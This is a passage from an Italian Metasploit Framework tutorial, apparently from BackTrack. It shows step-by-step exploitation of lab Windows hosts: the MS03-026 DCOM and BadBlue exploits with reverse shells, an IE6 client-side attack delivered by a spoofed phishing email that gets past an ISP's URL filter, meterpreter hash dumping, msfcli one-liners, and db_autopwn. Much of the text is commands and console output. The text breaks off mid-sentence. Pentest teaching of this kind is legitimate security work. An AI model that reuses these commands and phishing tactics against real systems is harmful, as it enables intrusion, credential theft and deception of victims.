payloads osx_ia32_bind osx_ppc_bind osx_ppc_bind_stg osx_ppc_findrecv_stg osx_ppc_reverse osx_ppc_reverse_nf_stg osx_ppc_reverse_stg solaris_ia32_bind solaris_ia32_findsock solaris_ia32_reverse solaris_sparc_bind solaris_sparc_findsock solaris_sparc_reverse win32_adduser win32_bind win32_bind_dllinject win32_bind_meterpreter win32_bind_stg win32_bind_stg_upexec win32_bind_vncinject win32_downloadexec win32_exec win32_findrecv_ord_meterpreter win32_findrecv_ord_stg win32_findrecv_ord_vncinject win32_passivex win32_passivex_meterpreter win32_passivex_stg win32_passivex_vncinject win32_reverse win32_reverse_dllinject win32_reverse_meterpreter win32_reverse_ord win32_reverse_ord_vncinject win32_reverse_stg win32_reverse_stg_upexec win32_reverse_vncinject Metasploit Framework Mac OS X Intel Bind Shell Mac OS X PPC Bind Shell Mac OS X PPC Staged Bind Shell Mac OS X PPC Staged Find Recv Shell Mac OS X PPC Reverse Shell Mac OS X PPC Staged Reverse Null-Free Shell Mac OS X PPC Staged Reverse Shell Solaris IA32 Bind Shell Solaris IA32 SrcPort Findsock Shell Solaris IA32 Reverse Shell Solaris SPARC Bind Shell Solaris SPARC SrcPort Find Shell Solaris SPARC Reverse Shell Windows Execute net user /ADD Windows Bind Shell Windows Bind DLL Inject Windows Bind Meterpreter DLL Inject Windows Staged Bind Shell Windows Staged Bind Upload/Execute Windows Bind VNC Server DLL Inject Windows Executable Download and Execute Windows Execute Command Windows Recv Tag Findsock Meterpreter Windows Recv Tag Findsock Shell Windows Recv Tag Findsock VNC Inject Windows PassiveX ActiveX Injection Payload Windows PassiveX ActiveX Inject Meterpreter Payload Windows Staged PassiveX Shell Windows PassiveX ActiveX Inject VNC Server Payload Windows Reverse Shell Windows Reverse DLL Inject Windows Reverse Meterpreter DLL Inject Windows Staged Reverse Ordinal Shell Windows Reverse Ordinal VNC Server Inject Windows Staged Reverse Shell Windows Staged Reverse Upload/Execute Windows Reverse VNC Server Inject www.backtrack.it Metasploit Framework www.backtrack.it Ed ecco in fine la lista dei nops e degli encoders presenti nel MSF. msf > show nops Metasploit Framework loaded Nop Engines ====================================== Alpha MIPS Opty2 PPC Pex SPARC msf Alpha Nop Generator MIPS Nop Generator Opty uber Nop Generator PPC Nop Generator Pex Nop Generator SPARC Nop Generator > show encoders Metasploit Framework loaded Encoders ====================================== Alpha2 Skylined's Alpha2 alphanumeric Encoder Countdown x86 Call $+4 countdown xor encoder Countdown x86 Call $+4 countdown xor encoder JmpCallAdditive IA32 Jmp/Call XOR Additive Feedback Decoder None The "None" Encoder OSXPPCLongXOR MacOS X PPC LongXOR Encoder OSXPPCLongXORTag MacOS X PPC LongXOR Tag Encoder Pex Pex Call $+4 Double Word Xor Encoder PexAlphaNum Pex Alphanumeric Encoder PexFnstenvMov Pex Variable Length Fnstenv/mov Double Word Xor Encoder PexFnstenvSub Pex Variable Length Fnstenv/sub Double Word Xor Encoder QuackQuack MacOS X PPC DWord Xor Encoder ShikataGaNai Shikata Ga Nai Sparc Sparc DWord Xor Encoder Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Bene, finita la lista degli strumenti di cui disponiamo passiamo a fare la scansione delle porte sull host preso come nostro target-vittima: root@jackal-# nmap -sV -T Aggressive 192.168.1.100 Starting Nmap 4.85BETA9 ( http://nmap.org ) at 2009-07-21 17:43 NSE: Loaded 3 scripts for scanning. Initiating ARP Ping Scan at 17:43 Scanning 2 hosts [1 port/host] Completed ARP Ping Scan at 17:44, 45.06s elapsed (2 total hosts) Initiating Parallel DNS resolution of 2 hosts. at 17:44 Completed Parallel DNS resolution of 2 hosts. at 17:44, 3.64s elapsed Initiating Parallel DNS resolution of 1 host. at 17:44 Completed Parallel DNS resolution of 1 host. at 17:44, 1.05s elapsed Initiating SYN Stealth Scan at 17:44 Scanning 192.168.1.100[1000 ports] PORT STATE SERVICE VERSION 139/tcp open netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 135/tcp open msrpc Microsoft Windows RPC MAC Address: 00:11:22:33:44:55 (Dell) Service Info: OS: Windows Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 5.66 seconds Raw packets sent: 2035 (91.344KB) | Rcvd: 16 (1056B) Come è possibile vedere dalla scansione, sull' host il sistema operativo che gira è un Windows Xp spk.2, con aperte le porte: 139/tcp open netbios-ssn ; 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds ; 135/tcp open msrpc Microsoft Windows RPC ; Tramite queste informazioni siamo già in grado di capire a quale exploit rivolgerci, questo perché è ormai famosissima la falla che affligge l' interfaccia RPC DCOM su sistemi Microsoft <=2006, di conseguenza il nostro exploit non potrà che essere msrpc_dcom_ms03_026 Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Vediamo quindi come poterlo configurare a dovere prima di lanciarlo. Il comando per la messa in esecuzione,(e memoria) ,di un exploit è il comando use, appena settato il nostro exploit, la msfconsole ci restituirà un output diverso, appositamente perché l' exploit è già in memoria, (per tornare evntualmente allo stato precedente il comando da dare è back), basta guardare la console del MSF. Come è possibile vedere dal comando show options, le opzioni necessarie, “required” all exploit per funzionare sono l' IP dell' host remoto, RHOST, e la porta remota, RPORT, che è già selezionata per l' interfaccia RPC DCOM, quindi di default già la 135 msf > use msrpc_dcom_ms03_0026 msf exploit > msrpc_dcom_ms03_0026 show options Exploit Options =============== Exploit: -------required required Name -----RHOST RPORT Default ------135 Description -----------------The target address The target port Target: Windows NT SP3-6a/2K/XP/2K3 English ALL sf msrpc_dcom_ms03_026 > set RHOST 192.168.1.100 RHOST -> 192.168.1.100 msf msrpc_dcom_ms03_026 > show options Exploit Options =============== Exploit: -------required required Name -----RHOST RPORT Default ------------192.168.1.100 135 Description -----------------The target address The target port Target: Windows NT SP3-6a/2K/XP/2K3 English ALL msf msrpc_dcom_ms03_026 > Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it con il comando info invece possiamo visualizzare le informazioni relative al exploit utilizzato: msf msrpc_dcom_ms03_026 > info msrpc_dcom_ms03_026 Name: Microsoft RPC DCOM MSO3-026 Class: remote Version: $Rev: 3818 $ Target OS: win32, win2000, winnt, winxp, win2003 Keywords: dcom Privileged: Yes Disclosure: Jul 16 2003 Provided By: H D Moore <hdm [at] metasploit.com> spoonm <ninjatools [at] hush.com> Brian Caswell <bmc [at] shmoo.com> Available Targets: Windows NT SP3-6a/2K/XP/2K3 English ALL Available Options: Exploit: Name Default Description -----------------------------------------required RHOST 192.168.1.100 The target address required RPORT 135 The target port Payload Information: Space: 880 Avoid: 7 characters | Keys: noconn tunnel bind ws2ord reverse Nop Information: SaveRegs: esp ebp | Keys: Encoder Information: | Keys: Description: This module exploits a stack overflow in the RPCSS service, this vulnerability was originally found by the Last Stage of Delirium research group and has been widely exploited ever since. This module can exploit the English versions of Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :) References: http://www.osvdb.org/2100 http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx http://www.milw0rm.com/metasploit/42 Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it A questo punto non ci rimane che selezionare e configurare il payload necessario per completare il nostro test, ma facciamo prima una breve descrizione dei vari tipi disponibili: download_exec, scaricano ed eseguono un eseguibile arbitrario nel sistema testato. dllinject, iniettano nel sistema testato una libreria arbitraria. exec, eseguono un comando arbitrario nel sistema testato. meterpreter, payload avanzato multiuso per il test alle piattaforme windows, è stato sviluppato appositamente per Metasploit e permette di eseguire una grande varietà di comandi sul sistema testato, ma verrà descritto singolarmente nel seguito del documento. shell, permettono di ottenere un prompt dei comandi con diritti di SYSTEM sul sistema testato. upexec, permettono l’upload e l’esecuzione di un eseguibile arbitrario sul sistema testato. vncinject, iniettano ed eseguono una sessione VNC sul sistema testato, questo permette a chi esegue il test e di ottenere il controllo remoto della sessione utente. adduser, aggiungono un account utente nel sistema testato. Questi sono I principali tipi di shellcodes disponibili, che poi secondo il tipo di connessione verranno abbinati ad una determinata modalità di invio. Infati i nostri payload possono essere eseguiti in varie modalità, la scelta è dettata dalla situazione nella quale si effettua il testing e da quella in cui ci si trova ad operare. Se il sistema fosse protetto da firewall e volessimo comunque ottenere un prompt dei comandi su di esso sarebbe necessario utilizzare una modalità reverse shell, [Reverse TCP Stager], piuttosto che una connessione diretta [Bind TCP Stager]. Se invece il nostro sistema fosse protetto da un firewall in grado di ispezionare dei pacchetti a livello applicativo, (application filter), dovremmo eseguire il payload tramite PassiveX Reverse HTTP Tunneling Stager, in questo caso verrà dapprima modificato il registro di sistema e poi lanciato Explorer il quale sarà a questo punto configurato per caricare un controllo ActiveX in grado di eseguire Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it il tunneling HTTP del payload verso il nostro computer riuscendo a sfruttare anche le configurazioni di proxy e autenticazione Internet, ma queste sono comunque scelte dettate dal momento del pentest. Selezioniamo il nostro Payload con il comando set PAYLOAD <nome_modulo> (in questo caso win32_reverse), e lanciamo di nuovo show options per poter vedere le configurazioni obbligatorie mancanti. Anche in questo caso il nostro prompt dei comandi si sarà modificato. Come si può vedere dall'immagine sotto il sistema ora richiede LHOST (localhost) che andremo a inserire sempre con il comando set LHOST <indirizzo>. msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse PAYLOAD -> win32_reverse msf msrpc_dcom_ms03_026(win32_reverse) > show options Exploit and Payload Options =========================== Exploit: -------required required Name -----RHOST RPORT Payload: -------required required required Name -------EXITFUNC LHOST LPORT Default ------------192.168.1.100 135 Default ------thread 4321 Description -----------------The target address The target port Description -----------------------------------------Exit technique: "process", "thread", "seh" Local address to receive connection Local port to receive connection Target: Windows NT SP3-6a/2K/XP/2K3 English ALL msf msrpc_dcom_ms03_026(win32_reverse) > set LHOST 192.168.1.5 Adesso dopo aver completato le configurazioni necessarie possiamo lanciare l'exploit e attendere il risultato . Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Nell'esempio sottoriportato vedremo come la macchina remota ci permette di accedere ad una shell con i diritti SYSTEM o se opportunamente patchata e configurata assisteremo al rifiuto alla connessione remota . msf [*] [*] [*] [*] [*] [*] [*] [*] msrpc_dcom_ms03_026(win32_reverse) > exploit Started revers handler Trying target Windows NT SP3-6a/2K/XP/2K3 English ALL Binding to xxxxxxx-xxxxx-xxxxx-xxxxxxxxx:0.0 ip_tcp 192.168.1.100 Bound to xxxxx-xxxxx-x-xxxxxx-xxxx-xxxxx:0.0 ip_tcp 192.168.1.100 Sending Exploit Sending stage (474 bytes) The DCERPC service did not reply to our request Command shell session 1 opened (192.168.1.5:4321 -->192.168.1.100:135) Microsoft Windows [Version 5.2.3790) © Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32 L' attacco ha avuto successo ;-) *** Passiamo ora ad un altro esempio sul MSF-2.*, è un esempio di exploitation che và a sfruttare un BOF su Internet Explorer-6 tramite un Code Execution, valido per le versioni di Windows 2000 NT <=XpSpk2-2003. Atacco di tipo “Client Side” Quest' esempio è un pò particolare, nel senso che non ha bisogno dello scanning del sistema da attaccare perché quest' exploitation lancia l' attacco sul proprio host in una determinata porta HTTP, la 8080 nell' esempio, ed attende che ci siano connessioni in entrata con il browser specificato, nel caso ci Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it siano la vittima che si connette vede una pagina bianca vuota e anche se chiude il browser, il payload avrà già fatto il suo lavoro. Questo è un esempio datato, anche se non poi così tanto, ma è molto funzionale ed interesante, basti pensare all' utilizzo generalizzato che potrebbe farne un attaccante tramite un BOT per spam, ma non vogliamo introdurre concetti vaghi che poi non andremo ad approfonire, quindi passiamo subito alla pratica, ricordandovi che quest' esempio può essere visto anche in video dallì apposita sezione del nostro portale, il titolo del video è “Metasploit Framework”. Come primo comenado naturalmente viene dato: msf > show exploits Senza mostrarvi l' help già visto in precedenza per la stessa versione del MSF, selezioniamo subito l' exploit, ovvero l' ie_vml_rectifill [http://trac.metasploit.com/browser/framework2/trunk/exploits/ie_vml_rectfill.pm?rev=3958] L' exploit viene selezionato per l'attivazione nella sessione con il comando use <nome-exploit> e tutte le opzioni di cui l' exploit necessita sono mostrate a video con il comando show options, ecco infatti due immagini della sessione... Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Dalle opzioni [optional / required] possiamo vedere che l' exploit selezionato necessita di: 1. HTTPPORT – la porta, automaticamente settata di default sulla 8080 2. HTTPHOST – che però necessita dell' inserimento dell' ip sul quale noi vogliamo ricevere la connessione... ...già, perché in questa sessione l' exploitation andrà ad aprire una connessione tra la vittima ed il nostro host secondo i nostri dati inseriti nelle opzioni. In questo caso nel video è stato scansionato l' ip della vittima solo ed esclusivamente per scopo di sicurezza di riuscita del pentest, ed infatti secondo nmap abbiamo sull' host vittima un OS Microsoft Windows-XpSpk2-2001. Prima del lancio dell' exploit è necessario selezionare un payload, il comando per visualizzare la lista di tutti i payload disponibili è show payloads, questa l' immagine: Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it La nostra scelta è ricaduta sul meterpreter , uno spettacolo di payload, potente e semplice da usare, impostato con il comando set PAYLOAD win32_reverse_meterpreter Anche nel caso del payload la nostra msfconsole ci viene in contro mostrandoci, sempre attraverso il comando show options, tutte le opzioni di cui il payload selezionato necessita, in questo caso solo il LHOST, l' host dove ricevere la connessione, la porta, LPORT, è automaticamente settata a 4321. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it È venuto il momento del lancio dell' exploit, comando = exploit ;-) Ma com' è che è stata realizzata tutta la fase precedente? Semplice, dal video è molto facile capire che è stata inviata una fakemail tramite protocollo Telnet da un server ESMTP, precisamente quello di AliceTelecom, che permette l' invio di mail ai propri clienti tramite il suo server senza verifica del mittente, infatti: [email protected] è un indirizzo che ho inventato al momento, non è reale. Il link inserito è stato creato da uno dei tanti servizi online per la gestione facilitata di lunghi url. Il server ESMTP di AliceTelecom blocca gli url provenienti da Tinyurl e da altri servizi famsoi, ma non quelli provenienti da CutsLink :-) Al momento in cui la vittima và a clickare sul link inviatogli dall' Attacker, che nasconde gli stessi dati, [host:porta], inseriti nelle opzioni dell' exploit, si connette con IE-6 al nostro host e il code execution su IE-6 genera un BufferOverFlow che ci permette di apre una sessione di meterpreter con la vittima. *** Eccoci ora arrivati a descrivere la fase di gestione del Meterpreter, di cui parleremo in maniera più dettagliata alla fine del documento. Una volta che abbiamo aperto una sessione di meterpreter tra noi e l' host vittima la fase più ostica è passata, basta fare in modo di creare sull' host vittima delle condizioni che ci permettano di avere tutto ciò che vogliamo. In questo specifico caso, trattandosi di un esempio con MSF-v2, tramite il meterpreter dobbiamo creare un canale di interazione con la vittima per poi prendere le hash del sistema ed entrare “interagendo” con un canale nel sistema vittima. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Per vedere le hash del sistema dobbiamo effettuare l' upload di librerie *.dll sull' host remoto, e successivamente uplodare Sam, la libreria specifica per il gethashes, questa l' immagine del processo... Teniamo bene a mente quest' immagine, la metteremo a confronto con una sessione simile con un esempio dedicato al MSF-3.3-dev. Succesivamente, dopo aver ottenuto le hash dell amministratore e degli altri utenti del sistema attaccato, apriamo un canale di interazione ed otteniamo il prompt dei comandi del sistema, l' immagine del processo è la seguente... Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it In parole povere è stato fatto quanto segue... 1. execute -f cmd per creare un processo di comando 2. execute -f cmd -c per creare il processo di comando sull' host remoto e creare un canale di interazione 3. interact 1 per interagire con l' host tramite il canale appena creato Con il comando ipconfig vediamo che siamo in un processo sull host remoto. Bene, questo è solo un esempio di quello che si può fare con il MSF, soprattutto con il payload Meterpreter, ma andiamo avani con la nostra descrizione... ./msfcli Dopo aver, speriamo nel miglior modo possibile, dato una descrizione della console del MSF, andiamo a descrivere la msfcli, common line interface. Sulla msfcli non c'é tantissimo da dire se non che è praticamente il metodo più veloce che il MSF mette a disposizione. Msfcli funziona con l' esecuzione tramite shell di una exploitation con selezione di exploit, payload, setting di indirizzi / porte, locali / remote, tutto in una sola riga. Per farci un' idea precisa, guardiamone l' help... msfcli <nome_exploit> <opzione=valore> [modalità] ============================================================ Mode Description -------------(H)elp You're looking at it baby! (S)ummary Show information about this module (O)ptions Show available options for this module (A)dvanced Show available advanced options for this module (I)DS Evasion Show available ids evasion options for this module (P)ayloads Show available payloads for this module (T)argets Show available targets for this exploit module (AC)tions Show available actions for this auxiliary module (C)heck Run the check routine of the selected module (E)xecute Execute the selected module ============================================================ Come possiamo vedere non è molto userfriendly come la msfconsole, ma vi assicuro che dopo un paio di prove potrebbe sostituire benissimo la vostra scelta. Viene da se che mscli può essere interpretata come un vero e proprio comando shell, perché lo è, di conseguenza possiamo passargli anche comandi di aiuto personalizzato come grep ad esempio, che può essere utile con msfcli per la selezione di un exploit all' interno di una determinata lista. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Ma andiamo anche alla dimostrazione di come passare una sequenza di exploitation a msfcli, prendendo ad esempio l' exploit ms03_026_dcom ed il payload meterpreter root@bt~# msfcli3 exploit/windows/dcerpc/ms03_026_dcom HTTPORT=8080 PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.25 LPORT=5555 RHOST=128.128.1.2 E [*] Started reverse handler [*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal... [*] Binding to 4d9f4ab8-7d1c-11cf-861e0020af6e7c57:0.0@ncacn_ip_tcp:128.128.1.2[135] ... [*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:128.128.1.2[135] ... [*] Sending exploit ... La lettera E finale sta ad indicare il lancio dell' attacco. Capirete voi che essendo perfettamente a conoscenza delle opzioni da passare e della condizione in cui ci si trova msfcli è lo strumento più veloce che c'é. ./msfweb Bene ora siamo arrivati alla descrizione dell' interfaccia web del MSF, la msfweb appunto, che permette il lancio e configurazione di tutti gli strumenti tramite un interfaccia web, utile magari per le prime volte che si usa il MSF, perché rende appunto più semplice la comprensione per coloro che non sono molto abili con l' uso della shell. Facciamo per quest' occasione un altro esempio pratico. ;-) Questa è un' immagine di come si presenta l' interfaccia web di MSF appena avviata... Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it I pulsanti sono visibili nella parte in alto a sinistra ma, secondo la skin che si utilizza, a scelta dal menù Options, potrebbero trovarsi anche a sinistra o altrove, in caso di nuove skins :-) Partiamo quindi a fare il nostro nuovo esempio dalla scansione del sistema da attaccare, passando ad Nmap opzioni di services fingerprinting vediamo cosa la scansione ci restituisce... HaCkLaB ~ # nmap -sV 128.128.1.2 Starting Nmap 4.76 ( http://nmap.org ) at 2009-10-03 23:38 GMT Interesting ports on 128.128.1.2: Not shown: 988 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet Microsoft Windows XP telnetd 25/tcp open smtp Microsoft ESMTP 6.0.2600.2180 80/tcp open http Microsoft IIS webserver 5.1 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 443/tcp open https? 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 1035/tcp open msrpc Microsoft Windows RPC 1720/tcp filtered H.323/Q.931 3389/tcp open microsoft-rdp Microsoft Terminal Service 4662/tcp open edonkey? 8080/tcp open http BadBlue httpd 2.7 Service Info: Host: hacklab-dww; OSs: Windows XP, Windows Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 52.20 seconds Bene, oltre I soliti servizi, ed un IIS webserver 5.1 ampiamente exploitabile, abbiamo il BadBlue attivo sulla porta HTTP 8080, anche se già lo sappiamo ampiamente, facciamo una ricerca per il BadBlue 2.7 tramite la casella di ricerca degli exploits nella msfweb interface. Clickando sul pulsante per la ricerca di exploits verrà aperta una nuova finestra dove è possibile inserire il nome dell' exploit da cercare... Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Cerchiamo un eventuale,(:-P), exploit per il BadBlue così come scritto nell' output dello scanning e vediamo che viene restituito un exploit per il BadBlue alla versione del demone che gira sull' host della nostra vittima. L' exploit ci viene restituito, ora ci basta clickarci sopra e si aprirà una nuova finestra... Ora l' exploit viene selezionato, si tratta di configurarlo con il target e un payload, che stavolta prenderemo come: generic/shell_reverse-tcp - Connect back to attacker and spawn a command shell Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it ed ecco come viene mostrata la finestra successiva... Ora abbiamo le seguenti opzioni settate: EXPLOIT windows/http/badblue_passthru TARGET BadBlue 2.72b Universal PAYLOAD generic/shell_reverse_tcp Manca da inserire la serie di parametri richiesti e si può procedere al lancio dell' exploit, quindi... Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Avremmo volendo, potuto inserire molte altre opzioni, dalla possibilità di cambiare User Agent, all' encoding, all' uso di proxy, alla possibilità di evasione per vari IPS, connessione cryptata e in SSL, basta guardare dalle immagini sottostanti per capire le potenzialità di setting del MSF. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Visto che ci piace essere alla moda, (il motivo reale è che non trovo lo spazio giusto nella pagina -.-), cambiamo skin :-P Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Torniamo quindi alla finestra, dove vanno inseriti i dati “requiered” ed inseriamo la porta 8080 come da scansione, insieme all ip 128.128.1.2 come Target e l' ip del localhost 192.168.1.25 dopodiché cliackiamo su : “Launch Exploit” ed aspettiamo che ci venga restituita la console in una nuova finestra che, in questo caso, dopo l' avvio dell' attacco con... + Malicious GET request sent ... Done. + Connect on port 4444 of 128.128.1.2 ... ...ci restituisce la nostra spowned shell: Presto detto / presto fatto, con un interfaccia web forse le cose sono più comprensibili per tutte quelle persone che non hanno molta familirità con la linea di comando, ma di sicuro non è una scelta stabile e veloce come la msfconsole o addirittura la msfcli. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it ./msfgui Ora per completare l' opera non possiamo mancare nella presentazione dell' ancorpiù semplice msfgui, la gui del MSF, presente di default in BackTrack dalla release 3 del MSF. Ecco come si presenta msfgui: La presentazione non potrebbe essere più cool di questa, anche la natura userfriendly non è da poco, vediamo infatti che nel riquadro in alto a sinistra la selezione è semplice e veloce, Non faremo un esempio pratico anche per la gui di MSF, ma cercheremo poerò di illusrarne I pasaggi tenedno conto dell' exploit scelto per l' esempio precedente. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Appena digitiamo infatti la keyword BadBlue clickando su Find eccone il risultato: Clickando sull' exploit nella parte superiore viene restituita in basso una breve descrizione con le referenze e links al codice, che tra l' altro è disponibile con la selezione del tasto destro sull' exploit insieme alla selezione Execute. Se si preme su visualizza il codice viene aperta una nuova finestra con il codice dell exploit, se invece si clicka su Execute si viene portati su un' altra finestra, di Assistant, che ci permette poi consecutivamente di aprire altre finestre per la selezione delle opzioni, del payload e per l' esecuzione dell' exploit. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Questa la finestra di visualizzazione del codice: La comodità quindi è indubbia, anche se raramente chi già conosce il MSF ricorre ad uno strumento come la msfgui, questo solo per motivi di efficienza e performance, che nel pentest non vanno mai tralasciate, la msfgui però è necessaria, basti guardare ai concorrenti prodotti commerciali che non ne sono mai sprovvisti, quindi necessaria, come vediamo dalla foto, anche per il ritocco e lo sviluppo di codice personalizzato non necessariamente da dentro una shell. Se pensiamo che attualmente il prodotto della stessa natura del MSF che al mondo, non opensource, è considerato il più importante è utilizzabile esclusivamente tramite gui allora ce ne faremo una ragione più facilmente. Una questione, fondamentale, che la msfgui ha in più alle altre soluzioni del framework è che è molto più semplice gestire i job-id, sessioni multiple di exploitation e sessioni multiasking, senza dubbio sono cose fattibili anche da shell, ma la msfgui è senza dubbio più comoda per una visione globale della situazione di pentest. *** Bene, ora passiamo invece ad introdurre e dimostrare come la nuova versione del MSF si interfaccia con gli strumenti di cui vi abbiamo accennato all' inizio del documento, ovvero Nmap e Nessus. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it “L' Autopowning” msf> db_{...} Molti penseranno subito a quale potrebbe essere il motivo del dover creare dei database per le scansioni effettuate per poi passarle al MSF quando basterebbe prendere il risultato della scansione ed effettuare il pentest, la risposta è semplice: un pentest non ha un tempo definito, può durare da poche ore a settimane e dividere la fase di audithing dalla fase dell' exploitation è cosa fondamentale. Il potersi concentrare subito sull' attacco perché si è già in possesso delle scansioni reperibili e riutilizzabili tramite il MSF in qualsisi momento vogliamo, è cosa essenziale, se poi aggiungiamo che con la versione nuova del framework si può dividere il pentest tra: più utenti [-multiasking-] e più sessioni di exploitation,[-multiple session-], è cosa fondamentale. msf > db_autopwn / db_{create ; connect ; import ; import_from; ecc...} Tutte queste novità inserite nell' ultima versione disponibile del MSF, la 3.3-dev, sono state rese possibili grazie all' interfacciamento che la nuova veste del framework permette. Supportando vari tipi di database nativamente, (mysql, postgresql, sqlite, eccetera), è possibile creare database direttamente all' interno di una sessione d' attaccco. Cosa ancopiù importante è che i database in MSF riescono a farci importare files provenienti da client per la scansione di porte e vulnerabilità come Nmap, Nessus, e OpenVAS e WebScarab, la lettura dei files poi permette a Metasploit di effettuare operazioni d' attacco automatizzate, dette in autopowning. I comandi per la creazione e la gestione di tali database, (l' immagine sopra è puramente a scopo illustrativo), sono semplici, ma facciamo direttamente degli esempi pratici, dapprima con Nmap e poi Nessus. db_autopwn [NMap] Nmap è il portscanner più conosciuto attualmente ed ha la grande potenzialità di offrire all' utente un insieme di opzioni che possono soddisfare ogni esigenza. Le scansioni effettuate con Nmap possono essere salvate in file di output secondo le nostre necessità, per integrare una scansione di Nmap ed usarla in MSF dobbiamo fare la scansione per poi ottenere un output in formato *.xml, dobbiamo quindi passare ad nmap l' opzione di output -oX, per poi riprenderla all' interno di una sessione di MSF con il comando db_import_nmap_xml, e seguire le varie opzioni per la fase di attacco.Nmap però è già inserito come eseguibile all' interno del framework, quindi ci basterebbe creare un database e direttamente dall' interno della sessione scannerizzare l' host per poi provare l' exploitation. Volendo fare un brevissimo esempio, usando un database di tipo sqlite3, una fase d' attacco potrebbe essere compiuta in pochissime righe di codice, avendo trovato un video in rete, (creato da un utente BackTrack - Th3Security), colgo l' occasione ed iserisco le immagini dell' exploitation. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it L'attacco inizia caricando i drivers per la creazione del database sqlite3 L' immagine mostra i seguenti comandi: 1. db_driver sqlite3 – per il caricamento dei drivers per il database sqlite3 2. db_create autopownage – per la creazione di un nuovo database dal nome autopwnage 3. db_nmap 192.168.1.119 -p445 – per lo scanning con Nmap direttamente all' interno della sessione verso l' ip 192.168.1.119 e la porta 445. Andiamo avanti con l' attacco... Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Quello che vedete nell' immagine sopra non è altro che l' insieme delle opzioni che vanno passate a db_autopwn per iniziare l' exploitation, ma vediamole nel dettaglio... • -p – attacco in base alle porte che Nmap ci ha restituito • -e – lancio degli exploits verso tutti i target • -e – per disabilitare l' output dei moduli L' exploitation va avanti e alla fine, come sempre, ci vengono restituite le sessioni aperte in meterpreter Basta quindi interagire con una delle sessioni inserendo il giusto id ed il gioco è fatto... Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Anche se è semplice ed intuitivo capire cos'é stato fatto, facciamone, per non doverla ripetere in seguito, una sintetica descrizione: Una volta che l' autopowning è stata portato a termine, viene dato il comando sysinfo, (per ottenere informazioni sul sistema remoto), dopodiché vengono elencate le sessioni attive, Active Sessions, che vengono riportate con uno schema molto comprensibile: ID – Descrizione – Tunnel • ID - attribuito alla sessione apert, elencato automaticamente in ordine crescente • Descrizione - delle sessioni aperte, in questo caso con payload Meterpreter • Tunnel - composto da IP:Porta di entrambe i capi del tunnel Nell' esempio sono state aperte cinque sessioni verso altrettante porte, su di un' unico target.La lista delle sessioni viene restituita interrompendo il processo, (basta premere un qualsiasi tasto per farlo), e digitare sessions -l, dalla lista ottenuta si vedono all' estrema sinistra di ogni riga, rappresentante i tunnel creati, gli id delle sessioni, sempre elencati automaticamente dal processo, quindi per interagire “attivando” una sessione non si deve fare altro che digitare il comando sessions seguito dall' opzione -i, interact e dal numero id della sessione con il quale vogliamo interagire, in questo caso 1. Appena dato quindi il comando sessions -i 1, viene aperta la sessione con id=1 e si è all' interno del Meterpreter, da cui, (ma questo è riservato alla fine del documento), si possono compiere innumerevoli operazioni, nell' esempio viene mostrato il comando execute -f cmd.exe -i, che ci porta quindi ad ottenere il “prompt” dei comandi del sistema attaccato, in questo caso Windows 2000-Spk4. db_autopwn [Nessus] L' esempio seguente è la descrizione del video “db_autopwn with Nessus and Metasploit”, reperibile nell' apposita sezione del nostro portale. L' attacco che stiamo per descrivere è molto semplice, ma è bene portare attenzione poiché diverso dal precedente, soprattutto nell' interazione con il database. Iniziamo il nostro esempio, naturalmente con lo scanning delle vulnerabilità, di un' intera subnet che andremo a scannerizzare subito dopo esserci connessi al server. L eoperazioni iniziali sono le solite che si compiono per il normalisimo uso di Nessus, quindi partenza del servizio/demone NessusD ed apertura della gui di Nessus con inserimento delle proprie credenziali e connessione al server. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it L'immagine dell' inserimento della subnet da scannerizzare è la seguente... Già prima di avviare questo pentest avevo una mia policy, per delle scansioni personalizzate, poi l' ho cambiata per fare in modo che risulti la più pesante ma più possibile, visto che stiamoi parlando di autopwning lasciamo la policy di default che Nessus fornisce automaticamente. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it A questo punto viene lanciata la scansione delle vulnerabilità e appena finita questo è il risultato che riporta.. Dall' immagine posiamo benissimo vedere che l' intera subnet è composta da cinque hosts, di cui quattro rappresentati in rosso e uno in giallo, rispettivamente ad indicare hosts con gravi vulnerabilità e con moderate vulnerabilità. Ad essere riportata in giallo è il 